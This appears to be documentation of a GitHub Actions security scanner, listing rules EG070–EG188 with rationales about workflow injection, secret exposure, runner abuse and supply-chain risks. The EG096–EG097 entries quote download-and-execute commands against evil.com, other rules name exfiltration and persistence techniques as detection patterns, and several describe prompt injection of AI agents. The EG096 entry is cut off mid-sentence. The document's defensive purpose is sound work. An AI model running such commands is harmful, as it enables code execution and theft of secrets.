Guard: External reusable workflow calls should define explicit job-level permissions in the caller job. If omitted, the called workflow can inherit default GITHUB_TOKEN permissions from the caller context.

source
EG070 check_no_secrets_in_job_outputs secrets are not mapped to job outputs

Mapping secrets to job outputs exposes them to downstream jobs via the needs context, widening the leakage surface.

Guard: Job outputs are plain text strings. Mapping secrets to them exposes the secret to any job that needs this one.

source
EG071 check_no_permissions_in_composite_action composite actions do not define permissions (ignored)

Composite actions cannot define permissions. Presence implies the author expects sandboxing that does not exist.

Guard: action.yml files (composite/docker/js) cannot define permissions. If present, it's ignored, but suggests the author thinks the action is sandboxed.

source
EG072 check_no_checkout_clean_false actions/checkout does not disable clean workspace

actions/checkout with clean: false persists the workspace on self-hosted runners, enabling cross-run contamination.

Guard: clean: false disables the default cleanup of the workspace. On self-hosted runners, this allows files from a previous (potentially malicious) run to persist and affect the current run.

source
EG073 check_no_global_env_token_exposure GITHUB_TOKEN is not defined in global env block

Defining GITHUB_TOKEN in the top-level env block exposes it to every job and step, violating least privilege.

Guard: The top-level env: block is inherited by all jobs. Placing the GITHUB_TOKEN there grants permissions to every step, including untrusted ones.

source
EG074 check_no_secrets_in_global_env top-level env block does not contain secret expressions

Top-level env is inherited by every job and step. Placing secrets there broadens exposure across the entire workflow.

Guard: Any ${{ secrets.* }} expression in top-level env fans out to every job and step, including tooling and third-party actions that do not need it.

source
EG075 check_no_dynamic_uses uses: directives are not dynamic expressions

Dynamic uses: expressions allow executing arbitrary code/actions determined at runtime, bypassing static analysis and pinning checks.

Guard: uses: ${{ ... }} allows the workflow to execute code that cannot be statically analyzed or pinned. This is a common evasion technique.

source
EG076 check_no_checkout_submodules actions/checkout does not enable submodules

Checking out submodules allows the PR author to point .gitmodules to malicious repositories, potentially triggering SSRF or fetching bad code.

Guard: submodules: true in actions/checkout will fetch submodules defined in .gitmodules. In a PR, an attacker can modify this file to point to arbitrary URLs.

source
EG077 check_no_secrets_in_input_defaults input defaults do not contain secrets

Secrets in workflow_dispatch defaults are exposed in plain text in the GitHub UI to anyone with write access.

Guard: default: ${{ secrets.API_KEY }} in a workflow_dispatch or workflow_call input renders the secret value in the "Run workflow" UI dialog. Only flag lines that are actually inside an inputs definition block, not arbitrary run-block content or comments that happen to contain both "default:" and "secrets.".

source
EG078 check_no_untrusted_context_in_shell_param shell: parameter does not interpolate untrusted context

Untrusted context in shell: parameters enables command injection since the shell invocation string is attacker-controlled.

Guard: The shell: key selects the interpreter GitHub Actions uses to execute the step. Interpolating untrusted context (e.g. an input value or branch name) gives an attacker direct control over the interpreter selection string, enabling command injection at the shell-invocation level.

source
EG079 check_no_untrusted_context_in_working_directory working-directory does not interpolate untrusted context

Untrusted context in working-directory enables path traversal — an attacker-controlled branch name can escape the workspace.

Guard: working-directory sets the CWD for a step. Attacker-controlled context (e.g. a PR branch name containing "../../") enables path traversal, letting a malicious PR escape the workspace and operate on arbitrary runner paths.

source
EG080 check_no_needs_output_in_shell_blocks needs..outputs are not interpolated in shell blocks

Job outputs passed via needs.
.outputs can carry attacker-controlled data (e.g. PR titles, issue bodies) across job boundaries into shell injection sinks.

Guard: needs.*.outputs forward data across job boundaries. When an upstream job captures attacker-controlled data (e.g. a PR title or issue body) as an output, interpolating it in a downstream run: block creates a shell injection sink. Pass the value through env: instead.

source
EG081 check_no_fromjson_untrusted_in_matrix fromJSON() does not use untrusted sources in matrix strategy

fromJSON() applied to needs..outputs or attacker-controlled context in strategy.matrix propagates tainted data into matrix. variables used in run: blocks.

Guard: fromJSON() applied to needs..outputs or other attacker-controlled context in strategy.matrix propagates tainted data into matrix. variables, which are later consumed in run: blocks as injection sinks. Validate and sanitize JSON data before using it to generate matrix values.

source
EG082 check_no_untrusted_context_in_job_fields job control fields do not interpolate untrusted context

Untrusted context in timeout-minutes, continue-on-error, or max-parallel fields lets attackers manipulate job execution flow via expression injection.

Guard: timeout-minutes, continue-on-error, and max-parallel accept expression syntax. Injecting attacker-controlled context there lets an attacker manipulate job execution flow — e.g. disabling timeouts or forcing jobs to continue after failures that should block the run.

source
EG083 check_no_untrusted_context_in_container_image container and service images do not use untrusted context

Untrusted context in container or services image fields lets attackers control which Docker image a job runs in, enabling full code execution.

Guard: The container: and services: image fields select which Docker image a job runs in. Interpolating attacker-controlled context lets a malicious PR substitute an arbitrary image, achieving full code execution with the job's token and permissions from the very start of the job.

source
EG084 check_no_always_without_cancelled if: always() is not used without cancelled() guard

if: always() continues running even when the workflow is cancelled. Attackers can trigger cancellation to waste CI minutes or race against security scans.

Guard: if: always() runs a step/job even when the workflow is cancelled. This prevents workflow cancellation from actually stopping work, wastes CI minutes, and can leave stale state. The correct pattern is !cancelled() which runs on success OR failure but still respects cancellation. (GitHub Docs: Expressions, zizmor: excessive-permissions)

source
EG085 check_no_self_hosted_runners workflows do not target self-hosted runners

Self-hosted runners persist state between jobs. Untrusted PR code can install backdoors, steal credentials, or pivot to internal networks.

Guard: self-hosted runners persist filesystem, network access, and process state between jobs. On public repositories, any fork can submit a PR that executes on the self-hosted runner, enabling credential theft, lateral movement to internal networks, and persistent backdoor installation. (GitHub Docs: Security Hardening, Adnan Khan: Self-Hosted Runner Attacks)

source
EG086 check_no_docker_privileged_or_host_network docker run does not use --privileged or --network=host

docker run --privileged gives full host capabilities. --network=host exposes the runner's network stack, enabling SSRF and metadata endpoint access.

Guard: docker run --privileged grants full host capabilities including device access, bypassing all container isolation. --network=host exposes the runner's full network stack, enabling IMDS/metadata endpoint access (169.254.169.254) and lateral movement. Both defeat container sandboxing. Also handles multi-line docker commands with shell continuation (). (Docker Security Best Practices, OWASP CI/CD Top 10)

source
EG087 check_no_untrusted_context_in_runs_on runs-on field does not interpolate untrusted context

Attacker-controlled context in runs-on: lets a malicious PR route jobs to attacker-owned self-hosted runners, achieving full code execution with secrets.

Guard: if runs-on: uses attacker-controlled context, a malicious PR can route the job to an attacker-registered self-hosted runner, achieving full code execution with access to all secrets and write permissions. (GitHub Security Lab, Adnan Khan: Self-Hosted Runner Label Injection)

source
EG088 check_no_create_delete_triggers_with_write_token create/delete triggers are not combined with write permissions

create/delete events fire on tag/branch creation by anyone with push access. Combined with write permissions, they enable privilege escalation via crafted tag names.

Guard: on: create and on: delete fire when tags or branches are created or deleted. Tag and branch names are attacker-controlled. If the workflow has write permissions, an attacker can craft a tag name containing shell metacharacters and inject commands via github.ref or github.event.ref. (GitHub Security Lab: Reviewing GitHub Actions, GHSL-2024-177)

source
EG089 check_no_docker_socket_mount docker.sock is not mounted in run blocks

Mounting the Docker socket (/var/run/docker.sock) gives the container root-equivalent access to the host, bypassing all isolation.

Guard: docker run -v /var/run/docker.sock:/var/run/docker.sock gives the container root-equivalent access to the host system. The container can spawn sibling containers, read/write host files, and escape to the host entirely. (Docker Security Best Practices, CIS Docker Benchmark 5.31)

source
EG090 check_no_debug_logging_enabled debug logging is not permanently enabled

ACTIONS_STEP_DEBUG=true dumps every environment variable (including secrets that failed masking) into runner diagnostic logs accessible to anyone with read access.

Guard: Setting ACTIONS_STEP_DEBUG: true or ACTIONS_RUNNER_DEBUG: true in workflow env or step env causes GitHub Actions to dump every environment variable into runner diagnostic logs. Secrets that failed masking (e.g. multi-line secrets, secrets embedded in JSON) become visible to anyone who can view the workflow logs. (GitHub Docs: Monitoring and Troubleshooting, zirmor: debug-logging)

source
EG091 check_no_write_permissions_on_pr_trigger PR-triggered workflows with write permissions do not checkout PR code

Workflows triggered by pull_request with write permissions that also checkout code give fork PRs a path to code execution with write access.

Guard: a workflow triggered by pull_request that grants write permissions AND checks out code creates a dangerous trust combination. While pull_request (unlike pull_request_target) checks out the merge ref, write permissions combined with checkout + execution in the same job means any code execution vulnerability (injection, compromised action) has write token access. This is the "write-scoped checkout" pattern specifically in PR contexts where fork code influence exists. (GitHub Security Lab: Keeping Your GitHub Actions Secure)

source
EG092 check_no_unquoted_variable_in_dangerous_commands dangerous commands do not use unquoted variable expansion

Unquoted variables in rm, mv, cp, chmod commands enable word splitting and glob expansion, turning filenames with spaces or wildcards into unintended operations.

Guard: unquoted variable expansions in destructive commands (rm, mv, cp, chmod, chown) are vulnerable to word splitting and glob expansion. A filename containing spaces becomes multiple arguments; a filename containing * expands to all files. This is a classic shell scripting vulnerability that can cause data loss or privilege escalation. (ShellCheck SC2086, Bash Pitfalls #1)

source
EG093 check_no_excessive_fetch_depth_with_write_permissions fetch-depth 0 is not used in write-scoped jobs

fetch-depth: 0 clones full repository history. In write-scoped jobs, this maximizes data exposure if any step is compromised.

Guard: fetch-depth: 0 downloads full git history including all branches and tags. In a write-scoped job, if any step is compromised, the attacker gets access to the entire repository history plus a write-capable token. (GitHub Docs: actions/checkout, ArtiPACKED research)

source
EG094 check_no_mutable_tag_in_docker_run docker run images are pinned to SHA digest

docker run with mutable image tags (:latest, :v1) allows silent image replacement via registry tag mutation, enabling supply chain injection.

Guard: docker run commands in workflows that use mutable image tags (e.g., :latest, :v1, no tag) are vulnerable to registry tag mutation. An attacker who compromises the registry can replace the image behind the tag without any change to the workflow file. (Aqua Security: Supply Chain Attacks via Docker Images, zizmor: unpinned-images)

source
EG095 check_no_cancel_in_progress_on_default_branch cancel-in-progress is not used on default branch push triggers

cancel-in-progress on push to default branch allows a race: an attacker pushes benign code, waits for scan to start, then force-pushes — cancelling the security scan.

Guard: cancel-in-progress: true combined with push triggers on protected branches (main/master) means a second push cancels the in-progress security scan before it completes. An attacker with push access can exploit this race to bypass security coverage: push benign code, wait for scan, force-push malicious code — the first scan is cancelled and the second runs on new code but reviewers may still see the old diff. (GitHub Docs: Concurrency, Security audit research)

source
EG096 check_no_dangerous_yaml_tags YAML files do not contain dangerous type tags

YAML tags like !!binary base64-decode at parse time, completely bypassing all string-matching guards. !!python/* tags execute arbitrary code.

Guard: YAML tags like !!binary, !!python/object, !!python/module, !!python/object/apply, and other dangerous type tags can bypass every string-matching security check in this scanner. !!binary base64-decodes at parse time, so a value like !!binary Y3VybCBodHRwOi8vZXZpbC5jb20gfCBiYXNo would decode to `curl http://evil.com
EG097 check_no_fetch_then_execute run blocks do not download then execute without integrity check

Downloading to file then executing in a separate command bypasses the curl|bash pipe check. This is a two-step variant of the same attack.

Guard: Two-step fetch-and-execute patterns like: curl -o script.sh https://evil.com/payload bash script.sh or: wget -O setup.sh https://evil.com/payload chmod +x setup.sh && ./setup.sh These bypass the single-line pipe-to-shell check because the download and execution happen on separate lines.

source
EG098 check_no_step_output_in_shell_blocks steps..outputs are not interpolated in shell-like blocks

Step outputs can carry attacker-controlled data within the same job. Direct interpolation in run/script blocks creates an injection sink.

Guard: steps.
.outputs carry data produced within the same job. When an earlier step echoes attacker-controlled input (e.g. a PR title) into its output, interpolating that output directly in a later run: or env: block creates an intra-job shell injection sink.

source
EG099 check_no_environment_name_from_untrusted_context job environment names do not use untrusted context

Dynamic environment names can route deployments to unintended environments and bypass expected protection/approval controls.

Guard: The environment: name controls which GitHub deployment environment (and its protection rules and secrets) applies to a job. Interpolating untrusted context there lets an attacker bypass protection gates or misroute the job to an environment with weaker controls.

source
EG100 check_no_runs_on_from_untrusted_context runs-on does not use untrusted or input-derived context

Dynamic runner selection from untrusted data can route jobs to unintended runner pools, including attacker-controlled self-hosted labels.

Guard: Delegates to check_no_untrusted_context_in_runs_on. Dynamic runs-on values derived from untrusted or caller-controlled context can route jobs to unintended or attacker-owned runner pools, achieving full code execution with the job's secrets.

source
EG101 check_no_container_privileged_option container/services options do not use privileged escalation flags

--privileged and --cap-add SYS_ADMIN collapse container isolation and materially increase host compromise risk.

Guard: --privileged grants the full Linux capability set to the container, giving it root-equivalent access to the host kernel. --cap-add SYS_ADMIN has nearly the same effect. Either option collapses container isolation and enables host-level compromise of the runner.

source
EG102 check_no_self_hosted_runner_in_publicly_triggered_workflow publicly-triggered workflows do not use self-hosted runners

Public triggers plus self-hosted execution run attacker-influenced jobs on private infrastructure with persistent state and internal network reach.

Guard: Self-hosted runners persist state between jobs and have access to private infrastructure. Using them in workflows triggered by public events (pull_request, issues, etc.) lets attacker-influenced jobs run on private infrastructure, enabling lateral movement and credential theft.

source
EG103 check_no_eval_in_github_script github-script blocks do not use eval-like JavaScript sinks

eval, new Function, vm.runIn*, and child_process.exec* are direct code-execution sinks in actions/github-script blocks.

Guard: eval(), new Function(), vm.runIn*(), and child_process.exec() are code-execution sinks inside actions/github-script blocks. Combining these APIs with attacker-controlled context.payload fields achieves RCE without needing expression injection.

source
EG104 check_no_js_context_taint_in_github_script github-script blocks do not pass JS context taint to execution sinks

context.payload/context.issue in github-script provides untrusted event data via JS; combining with child_process/exec sinks enables RCE without expression injection.

source
EG105 check_no_secrets_in_cache_key cache keys do not include secrets or github token

Cache keys are visible in logs; embedding secrets.* or token expressions can leak credential material.

Guard: actions/cache logs the cache key in plain text in the workflow run log. Embedding secrets.* or github.token expressions in cache keys or restore-keys leaks credential material to anyone with read access to the repository logs.

source
EG106 check_no_github_token_in_job_env job-level env does not expose GITHUB token

Job-level token env variables are inherited by all steps in the job, unnecessarily broadening credential exposure.

Guard: Defining GITHUB_TOKEN or other token values in a job-level env: block exposes the credential to every step in that job — including third-party actions and any injected commands. Move token env assignments to only the specific step that requires them.

source
EG107 check_no_git_config_global run blocks do not mutate global/system git config

git config --global/--system changes runner-wide behavior and can persist malicious hooks/helpers or credential rewrites.

Guard: git config --global/--system/--worktree modifies runner-wide git configuration that persists beyond the current step. This can install malicious hooks, credential helpers, or URL rewrites that affect all subsequent git operations on the runner.

source
EG108 check_no_actions_step_debug_enabled workflow debug env vars are not hardcoded true

Hardcoding ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUG increases sensitive log exposure and should not be permanent in workflow files.

Guard: Delegates to check_no_debug_logging_enabled. Hardcoding ACTIONS_STEP_DEBUG=true or ACTIONS_RUNNER_DEBUG=true in workflow files permanently enables verbose logging, which can expose sensitive env values and output data to anyone with read access to the run logs.

source
EG109 check_no_github_event_path_in_shell_blocks run blocks do not use GITHUB_EVENT_PATH unsafely

$GITHUB_EVENT_PATH contains untrusted event payload data; unsafe shell substitution/piping from it can bypass expression-based guards.

Guard: $GITHUB_EVENT_PATH is the path to a JSON file containing the full event payload, which includes attacker-controlled fields (PR body, commit messages, etc.). Directly expanding it in shell substitution or piping it to commands bypasses expression-based injection guards.

source
EG110 check_no_schedule_too_frequent schedule cron is not too frequent

Very frequent schedules can cause CI cost/rate-limit issues and indicate misconfiguration or abuse.

Guard: Cron schedules more frequent than every 15 minutes can exhaust shared runner capacity and billable CI minutes. In security workflows this also indicates misconfiguration — scans should run hourly or daily, not on sub-minute intervals.

source
EG111 check_no_contents_write_and_pull_requests_write_together permissions do not combine contents:write with pull-requests:write

Combining both write scopes in one permissions block creates a high-risk token capability set for repo and PR mutation.

Guard: Combining contents: write (push to branches/tags) with pull-requests: write (merge/comment/approve PRs) in the same token scope creates a dangerous capability pair. Any compromised step in that job can push malicious code and self-approve a PR merging it.

source
EG112 check_no_lfs_in_checkout actions/checkout does not enable LFS

lfs: true can force costly large-object downloads and increase abuse/DoS risk in publicly-triggered workflows.

Guard: actions/checkout with lfs: true fetches Git LFS objects referenced in the repository. In publicly-triggered workflows a PR can force expensive LFS pulls, exhausting bandwidth and storage quotas. Disable LFS unless explicitly required and avoid enabling it on untrusted trigger events.

source
EG113 check_no_untrusted_context_in_strategy_matrix strategy/matrix blocks do not use untrusted context

Untrusted data in matrix definitions can taint downstream matrix.* values that later reach execution surfaces.

Guard: strategy.matrix values become matrix.* variables that downstream run: blocks interpolate directly. If matrix values are derived from attacker- controlled context (e.g. needs outputs, inputs), those values become shell injection sinks in every matrix job.

source
EG114 check_no_save_always_cache_in_publicly_triggered_jobs publicly-triggered workflows do not use cache save-always true

save-always: true allows failing attacker-influenced jobs to persist poisoned cache state for later trusted runs.

Guard: save-always: true causes actions/cache to persist the cache even when a job fails. In publicly-triggered workflows, a failing untrusted PR job can poison the cache with malicious content that a later trusted run restores and executes.

source
EG115 check_no_dynamic_env_file_path env/output/path redirects are not dynamically expression-driven

Dynamic redirect targets can write to unintended files instead of fixed $GITHUB_ENV/$GITHUB_OUTPUT/$GITHUB_PATH files.

Guard: Writing to $GITHUB_ENV, $GITHUB_OUTPUT, or $GITHUB_PATH via a dynamic redirect target (e.g. >> "$some_var") lets an attacker control which file receives the write, enabling arbitrary file overwrite on the runner. Use literal >> "$GITHUB_ENV" / "$GITHUB_OUTPUT" / "$GITHUB_PATH" only.

source
EG116 check_no_trigger_filter_bypass_via_negation paths-ignore does not exclude security-critical workflow/yaml paths

Ignoring workflow/security YAML paths can allow workflow-only changes to bypass expected security checks.

Guard: paths-ignore: entries matching .github/workflows/** or broad YAML globs mean that a PR modifying only workflow files skips the security scan entirely. An attacker can introduce a malicious workflow change that bypasses scanning by ensuring it is the only file changed.

source
EG117 check_no_job_level_secrets_inherit job-level reusable workflow calls do not use secrets: inherit

Job-level secrets: inherit on reusable workflow calls forwards all caller secrets and breaks least-privilege boundaries.

Guard: secrets: inherit at the job level forwards every secret in the caller's context to the reusable workflow call, including secrets the callee does not need. Any compromise of the callee can exfiltrate the full set of caller secrets. Use an explicit minimal secrets mapping instead.

source
EG118 check_no_node_modules_in_uses uses: directives do not reference composite actions inside node_modules/

uses: ./node_modules/... executes a composite action from node_modules/, which is excluded from scanning — a supply-chain attack vector.

source
EG119 check_no_imds_endpoint_access run blocks do not access cloud metadata (IMDS) endpoints

Cloud metadata endpoints (169.254.169.254, metadata.google.internal) expose IAM credentials to any code running on the runner, enabling cloud privilege escalation.

source
EG120 check_no_tunnel_tools run blocks do not use reverse tunnel or proxy tools

Reverse tunnel tools (ngrok, cloudflared, serveo) expose the runner's internal network to the internet, enabling persistent backdoor access and data exfiltration.

source
EG121 check_no_aws_credentials_in_env env blocks do not contain hardcoded AWS credentials

Hardcoded AWS credentials (AKIA* access key IDs, secret access keys) are visible to all repo readers and persist in git history.

source
EG122 check_no_dns_exfiltration_patterns run blocks do not use DNS tools for data exfiltration

DNS tools (nslookup, dig, host) with interpolated variables encode secrets into DNS queries, bypassing network egress controls.

source
EG123 check_no_docker_pid_host docker commands do not use --pid=host

--pid=host shares the host PID namespace, exposing all host process environment variables (including secrets) to the container.

source
EG124 check_no_ssh_private_key_in_env run blocks do not write SSH private keys to disk

SSH private keys written to disk or added via ssh-agent are accessible to all subsequent steps, enabling credential theft and lateral movement.

source
EG125 check_no_actions_cache_url_exposure ACTIONS_CACHE_URL is not referenced directly in run blocks

ACTIONS_CACHE_URL + ACTIONS_RUNTIME_TOKEN provide direct cache API access, enabling cache poisoning reads and writes outside normal controls.

source
EG126 check_no_terraform_state_in_artifacts upload-artifact does not include terraform state files

Terraform state files contain plaintext secrets (database passwords, API keys). Uploading them as artifacts exposes secrets to anyone with repo read access.

source
EG127 check_no_git_hooks_path run blocks do not set git core.hooksPath or GIT_TEMPLATE_DIR

Setting core.hooksPath or GIT_TEMPLATE_DIR injects arbitrary code into git operations (checkout, commit, merge) via hook scripts.

source
EG128 check_no_docker_dangerous_capabilities docker commands do not use dangerous --cap-add capabilities

--cap-add with NET_ADMIN, SYS_PTRACE, NET_RAW, SYS_RAWIO, SYS_MODULE, or ALL grants near-root capabilities that break container isolation.

source
EG129 check_no_docker_sensitive_volume_mounts docker commands do not mount sensitive host paths

Docker volume mounts of /etc, /root, /home, /proc, /sys, ~/.ssh, ~/.aws give containers direct access to host credentials and system files.

source
EG130 check_no_secrets_in_package_manager_commands secrets are not passed as package manager CLI arguments

Secrets passed as CLI arguments to npm/pip/cargo/docker-login are visible in the process table to all concurrent processes on the runner.

source
EG131 check_no_github_app_token_broad_exposure GitHub App tokens are not broadly exposed via job outputs or env

GitHub App tokens can have broader permissions than GITHUB_TOKEN. Exposing them via job-level env or outputs gives every step (including untrusted actions) access.

source
EG132 check_no_credential_files_after_checkout workspace credential files are not copied to home directories

PR-modified .npmrc, .pypirc, .netrc can redirect package managers to attacker-controlled registries after checkout.

source
EG133 check_no_mixed_trust_triggers workflows do not combine trusted and untrusted triggers

Combining trusted (push, schedule) and untrusted (pull_request_target, issue_comment) triggers in one workflow exposes trusted-trigger secrets to untrusted-trigger contexts.

source
EG134 check_no_workflow_command_annotation_injection workflow annotations do not inject untrusted context and add-matcher is absent

::warning/::error/::notice with untrusted context can inject fake annotations to mislead reviewers. ::add-matcher:: registers custom problem matchers.

source
EG135 check_no_oidc_token_without_audience OIDC tokens are requested with explicit audience

OIDC tokens without audience restriction can be presented to any relying party that trusts GitHub Actions, enabling cross-service privilege escalation.

source
EG136 check_aws_oidc_role_session_name AWS OIDC configure-aws-credentials includes role-session-name

aws-actions/configure-aws-credentials with role-to-assume but no role-session-name suggests the AWS IAM trust policy may lack a sub-claim condition, allowing any GitHub Actions workflow to assume the role (cf. UNC6426 QUIETVAULT campaign).

source
EG137 check_no_gitattributes_filter_smudge .gitattributes does not define filter/smudge code execution hooks

.gitattributes filter/smudge attributes execute arbitrary commands during git checkout, bypassing all workflow-level controls.

source
EG138 check_no_issue_comment_dispatch_without_author_check issue_comment ChatOps workflows verify commenter identity

ChatOps workflows triggered by issue_comment without verifying commenter identity let any user trigger privileged actions.

source
EG139 check_no_npm_pip_install_in_pr_target_checkout pull_request_target workflows do not run package installs after PR checkout

Package manager install commands (npm install, pip install .) execute lifecycle scripts from attacker-controlled files after PR HEAD checkout.

source
EG140 check_no_make_after_untrusted_checkout pull_request_target workflows do not run make after PR checkout

make executes arbitrary shell commands from attacker-controlled Makefiles after PR HEAD checkout in pull_request_target workflows.

source
EG141 check_no_git_clone_external_repos run blocks do not git clone with interpolated URLs

git clone with interpolated URLs in run blocks fetches unverified external code that subsequent steps may execute.

source
EG142 check_no_service_container_default_credentials database service containers have explicit credentials

Database service containers (postgres, mysql, redis) without explicit credentials are accessible from any compromised step in the job.

source
EG143 check_no_label_based_security_gates label-based conditions are not used as security gates

Labels can be added by anyone with triage permission. Using labels as security gates in privileged workflows is bypassable.

source
EG144 check_no_untrusted_context_equality_in_if_gates if: conditions do not use untrusted context as authorization gates

Untrusted context in if: equality checks uses attacker-controlled data as an authorization gate.

source
EG145 check_no_workflow_rerun_without_environment_protection write-permission jobs use environment protection

Write-permission workflows without environment protection can be re-run by any contributor to execute privileged operations.

source
EG146 check_no_multiple_document_yaml YAML files do not contain multiple document separators

YAML document separators (---) can hide secondary documents from line-based scanning, enabling parser confusion and bypass.

source
EG147 check_no_repojacking_vulnerable_actions actions are not from repojacking-vulnerable namespaces

Renamed GitHub users leave old org/user names claimable. Actions referencing claimable namespaces can be hijacked.

source
EG148 check_no_workflow_dispatch_without_required_inputs workflow_dispatch string inputs have required: true

workflow_dispatch string inputs without required:true allow empty values that may cause unexpected behavior or bypass validation.

source
EG149 check_no_scheduled_workflow_with_pr_target schedule trigger is not combined with pull_request_target

Combining schedule and pull_request_target triggers indicates a confused trust model.

source
EG150 check_no_actions_from_personal_forks actions are referenced from canonical organization namespaces

Actions referenced from personal fork namespaces that shadow well-known org actions may be supply-chain substitution attempts.

source
EG151 check_no_workflow_run_conclusion_gate_bypass workflow_run triggers check conclusion == success

workflow_run triggers fire regardless of conclusion. Without checking success, follow-up workflows process tainted artifacts from failed runs.

source
EG152 check_no_ai_agent_with_untrusted_input AI agents are not invoked in workflows with untrusted triggers

AI agents (gemini, claude, codex, copilot) in untrusted-trigger workflows are vulnerable to prompt injection via issue/PR content (PromptPwnd, Clinejection, HackerBot-Claw 2025-2026).

source
EG153 check_no_cache_in_publish_workflows actions/cache is not used in publish or release workflows

Cache poisoning can pivot from low-privilege workflows to high-privilege release workflows (Clinejection Dec 2025).

source
EG154 check_no_secret_exfiltration_via_http run blocks do not exfiltrate secrets via HTTP POST

The GhostAction campaign (Sep 2025) exfiltrated 3,325 secrets via HTTP POST to attacker-controlled endpoints, bypassing log masking.

source
EG155 check_no_xygeni_compromised_action compromised xygeni/xygeni-action is not referenced

CVE-2026-31976: xygeni/xygeni-action was tag-poisoned with a C2 reverse shell backdoor for 7 days (March 2026).

source
EG156 check_no_runner_registration_commands run blocks do not contain runner registration commands

Shai-Hulud 2.0 (Nov 2025) installed rogue self-hosted runners as persistent C2 backdoors via config.sh/svc.sh.

source
EG157 check_no_typosquatted_action_references action references do not use typosquatted org names

Orca Security found 194 workflows calling typosquatted orgs (action/ vs actions/, actons/, actinos/). A single typo routes to attacker code.

source
EG158 check_no_static_cloud_credentials_in_secrets static cloud credentials are not used in secrets

73% of organizations store static cloud credentials in GitHub Secrets (Wiz 2025). OIDC-based authentication eliminates long-lived secrets.

source
EG159 check_no_process_memory_access_in_run run blocks do not access process memory

The tj-actions/changed-files payload (CVE-2025-30066) dumped runner /proc/*/mem to extract secrets not available via environment variables.

source
EG160 check_no_base64_encoded_secrets_in_run secrets are not piped through base64 encoding

The reviewdog/action-setup payload (CVE-2025-30154) used double-base64 encoding to bypass GitHub's automatic log masking.

source
EG161 check_no_debug_artifact_upload upload-artifact on failure does not upload broad paths

CodeQLEAKED (CVE-2025-24362): failed workflow debug artifacts contained environment variables including valid GITHUB_TOKEN.

source
EG162 check_no_npm_pip_without_lockfile PR workflows use lockfile-based dependency installs

npm install/pip install without lockfile integrity (npm ci, --require-hashes) enables supply chain attacks like Shai-Hulud (2025).

source
EG163 check_no_setup_py_in_pr_target_checkout pull_request_target does not run build commands on untrusted code

CVE-2025-47928 (Sysdig MITRE/Splunk): setup.py/poetry install/cargo build in pull_request_target executes attacker code.

source
EG164 check_oidc_workflows_use_environment_protection OIDC cloud auth workflows use environment protection rules

Without environment protection, any workflow run can mint OIDC tokens and assume cloud roles (Tinder/Datadog research, UNC6426).

source
EG165 check_no_ai_instruction_file_in_pr_target pull_request_target with AI tools does not checkout PR head

HackerBot-Claw (Feb 2026) replaced CLAUDE.md with prompt injection to manipulate AI agents into inserting backdoors.

source
EG166 check_no_write_all_permissions permissions: write-all is not used

write-all grants unrestricted token permissions (GHSL-2025-105 vets-api). Equivalent to having no restrictions at all.

source
EG167 check_no_github_actor_in_security_gates github.actor is not used as a security gate in if: conditions

github.actor can be spoofed in certain contexts (Zizmor research). Should not be used for trust decisions.

source
EG168 check_no_vulnerable_dawidd6_download_artifact dawidd6/action-download-artifact is v6 or later

GHSA-5xr6-xhww-33m4: versions before v6 searched forks by default, enabling cross-fork artifact poisoning.

source
EG169 check_no_npm_publish_without_provenance npm publish includes --provenance for SLSA attestation

Without --provenance, published packages have no cryptographic proof of build origin (UNC6426, OpenSSF).

source
EG170 check_vault_action_specifies_audience hashicorp/vault-action specifies jwtGithubAudience

Without jwtGithubAudience, misconfigured Vault roles may accept OIDC tokens from any repository.

source
EG171 check_no_cache_restore_before_checkout actions/cache does not appear before actions/checkout

Cacheract (Dec 2025): cache restoration before checkout overwrites package.json/Makefile, enabling code execution in builds.

source
EG172 check_no_broad_cache_restore_keys cache restore-keys are not overly broad single-segment prefixes

Cache smashing attacks exploit broad restore-keys by flooding >10GB junk to evict entries, then planting poisoned matches.

source
EG173 check_no_iam_creation_in_oidc_workflows OIDC workflows do not create IAM principals or access keys

UNC6426 (Mar 2026) created IAM roles with AdministratorAccess via CloudFormation from OIDC-authenticated GitHub Actions.

source
EG174 check_no_kubeconfig_in_secrets static kubeconfig secrets are not used (prefer OIDC)

Static kubeconfig with cluster-admin gives any compromised workflow full Kubernetes cluster takeover.

source
EG175 check_no_systemd_launchd_service_in_run run blocks do not create systemd or launchd services

Shai-Hulud (2025) and SigmaHQ detections document runner persistence via systemd/launchd service creation.

source
EG176 check_pull_request_target_with_cloud_credentials pull_request_target workflows do not use cloud credentials

Orca Pull Request Nightmare (2025): pull_request_target + cloud auth enables direct cloud infrastructure lateral movement.

source
EG177 check_no_artifact_without_attestation publish workflows with upload-artifact include attestation

Without actions/attest-build-provenance, published artifacts have no cryptographic SLSA provenance.

source
EG178 check_github_app_token_permissions_scoped actions/create-github-app-token has explicit permissions

Unscoped GitHub App tokens inherit all installation permissions (Wiz: 80% of Apps grant write access).

source
EG179 check_no_dependabot_workflow_with_elevated_secrets pull_request workflows do not use elevated secrets

Dependabot PRs can trigger privileged workflow execution with access to custom secrets (Synacktiv).

source
EG180 check_no_self_hosted_runner_without_environment self-hosted runners in PR workflows use environment protection

Fork PRs execute on self-hosted runners, gaining network access to internal infrastructure (Sysdig, Orca, Praetorian).

source
EG181 check_no_same_name_artifact_reupload artifact names are not reused across multiple jobs

GitHub artifacts can be deleted/re-uploaded with the same name, undermining integrity (Imre Rad, 2025).

source
EG182 check_no_gpu_runner_without_timeout GPU runner jobs have timeout-minutes set

GPU runners ($0.07/min+) are attractive for crypto mining. Without timeout-minutes, stuck jobs run indefinitely.

source
EG183 check_no_known_vulnerable_codeql_versions github/codeql-action meets minimum safe version (CVE-2025-24362)

CodeQLEAKED: versions <= 3.28.2 leaked GITHUB_TOKEN in debug artifacts uploaded after failed scans.

source
EG184 check_no_workflow_run_with_artifact_and_id_token workflow_run jobs do not combine artifact download with id-token write

Privilege escalation: unprivileged workflow uploads poisoned artifact, workflow_run with OIDC downloads it (Legit Security).

source
EG185 check_no_agentic_workflow_with_write_permissions AI/agentic workflows do not have write permissions

GitHub Agentic Workflows (Feb 2026) default to read-only. Write access exposes AI agents to prompt injection attacks.

source
EG186 check_no_untrusted_context_in_github_output untrusted context is not written to GITHUB_OUTPUT

Writing attacker-controlled context to $GITHUB_OUTPUT propagates taint to downstream jobs via needs.*.outputs, creating second-order injection.

source
EG187 check_no_untrusted_context_in_workflow_call_inputs reusable workflow call inputs do not contain untrusted context

Passing github.event.* as with: inputs to reusable workflows can propagate injection if the callee interpolates them in run: blocks.

source
EG188 check_no_untrusted_context_in_annotations workflow annotations do not interpolate untrusted context

::notice/::warning/::error commands render in the Actions UI. Untrusted context enables phishing and social engineering.

source
